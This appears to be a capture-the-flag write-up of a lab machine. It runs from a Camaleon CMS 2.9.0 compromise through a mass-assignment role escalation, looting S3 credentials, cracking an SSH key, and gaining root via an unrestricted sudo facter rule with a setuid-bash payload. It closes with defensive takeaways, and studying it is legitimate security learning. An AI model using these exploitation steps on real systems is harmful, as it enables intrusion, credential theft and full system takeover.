TLDR; Bypassed a User-Agent allowlist to reach a Camaleon CMS 2.9.0 instance, escalated to admin via a mass-assignment bug, looted AWS S3 credentials from the CMS settings, recovered an SSH key from a private bucket to land as
trivia, then exploited an unrestrictedsudo facterrule to gain root via--external-dir.
Initial Access:

Upon hitting the webserver it shows HTTP response code 406 Not Acceptable. With a text of "Your browser is not supported. Please upgrade your browser to continue."
With that in mind, pivoting to other browsers or by removing the user-agent header will allow us to hit the main web page. This suggests that the webserver either only allows certain browser types via a whitelisting approach or a blank user-agent.
By using burp, we can automatically replace the headers to empty headers allowing access to the main web page.

After viewing the actual webpage, I looked through the source code of the page and observed it was actually running on Camaleon_CMS.

Hitting the /admin page allows user creation and after logging in to the CMS, the version 2.9.0 was listed on the web page.
Searching for Camaleon_CMS 2.9.0 exploits result in this github page where it shows 2 exploits that can be executed.
source: https://github.com/afifudinmtop/Camaleon-CMS-2.9.0-Vuln
Running through the LFI, we were able to extract users on this server

After registering a low-privilege account, we abused a mass-assignment vulnerability in the password update endpoint by appending password[role]=admin to the request body, elevating ourselves to administrator.

Once admin, AWS secrets were revealed in Settings > General site > Filesystem Settings page.

We configure the AWS profile onto our attacking machine

We begin to enumerate the s3 buckets
aws s3 ls --profile htb --endpoint-url http://facts.htb:54321
2025-09-11 20:06:52 internal
2025-09-11 20:06:52 randomfacts
aws s3 sync s3://internal ./loot/internal --profile htb --endpoint-url http://facts.htb:54321In the /internal/.ssh/ folder, it contains a ssh private key that is password encrypted. Hence, we ssh2john the private key and attempt to crack it.

After obtaining the private key and the password, we can guess whose key this belongs to as we obtained the users from the LFI exploit earlier on.
Trivia was the owner of this key, and remember that port 22 (ssh) was opened. Hence, we proceeded to logon with this private key as Trivia.
The user.txt was found in william's home directory.
Privilege Escalation:
Since this was an easy box, we attempted to execute sudo -l which returns:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter"Facter is a command-line tool that gathers basic facts about nodes (systems) such as hardware details, network settings, OS type and version, and more. These facts are made available as variables in your Puppet manifests and can be used to inform conditional expressions in Puppet." Source: https://github.com/puppetlabs/facter
Because facter can be run as root without a password, and the sudo rule places no restriction on arguments, we can pass --external-dir (or --custom-dir) to point facter at an attacker-controlled directory. Facter will execute every executable file in that directory as root while attempting to gather facts, giving us arbitrary code execution as root.
We then check whether this build of facter supports loading of custom or external facts, and where it searches for them:
trivia@facts:~$ sudo facter --debug 2>&1 | grep -iE "(loading|searching|path)" | head -50
[2026-04-28 16:32:50.627118 ] DEBUG Facter::FactLoader - Loading all internal facts
[2026-04-28 16:32:50.627655 ] DEBUG Facter::FactLoader - Loading custom facts
[2026-04-28 16:32:50.629169 ] DEBUG Facter::FactLoader - Loading external facts
[2026-04-28 16:32:51.187590 ] DEBUG Facter::FactManager - fact "path" has resolved to: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
[2026-04-28 16:32:51.191188 ] DEBUG Facter::LegacyFactFormatter - Remove double backslashes from paths
path => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binIf facter allows loading of custom or external facts then we can leverage on that with sudo to create a temporary privilege escalation path.
We can create a exploit file named execute.sh
execute.sh contents:
#!/bin/bash
chmod u+s /bin/bashThen executing the following commands grants us root access:
trivia@facts:~$ mkdir -p /tmp/pwn
trivia@facts:~$ mv execute.sh /tmp/pwn
trivia@facts:~$ chmod +x /tmp/pwn/execute.sh
trivia@facts:~$ sudo /usr/bin/facter --external-dir /tmp/pwn
trivia@facts:~$ /tmp/pwn$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1740896 Mar 5 2025 /bin/bash
trivia@facts:/tmp/pwn$ /bin/bash -p
bash-5.2# id
uid=1000(trivia) gid=1000(trivia) euid=0(root) groups=1000(trivia)
bash-5.2# cd /root
bash-5.2# ls -l
total 16
drwxr-x - - 2 root root 4096 Jan 28 15:15 minio-binaries
drwxr-xr-x 4 root root 4096 Jan 28 15:15 ministack
-rw-r - - - 1 root root 33 Apr 28 15:32 root.txt
drwx - - - 3 root root 4096 Jan 28 15:15 snap
bash-5.2# cat root.txt
<hash>The -p flag prevents bash from dropping the elevated EUID on startup. Without it, bash would reset EUID to your real UID as a security measure, and you'd remain trivia.
Defensive Takeaways:
- Camaleon CMS should not allow public registration on production sites; restrict
/adminregistration or place it behind authentication - Mass assignment vulnerabilities (
password[role]=admin) should be mitigated with strong parameter filtering / allow-listing on update endpoints - AWS access keys must never be stored in CMS settings that are accessible to admins; use IAM roles or a secrets manager
- The sudo rule
(ALL) NOPASSWD: /usr/bin/facteris unsafe. Facter is designed to load and execute external code, so any unrestricted sudo grant on it is equivalent to giving the user root. Replace with a tightly-scoped wrapper script if facter output is genuinely needed by an unprivileged user.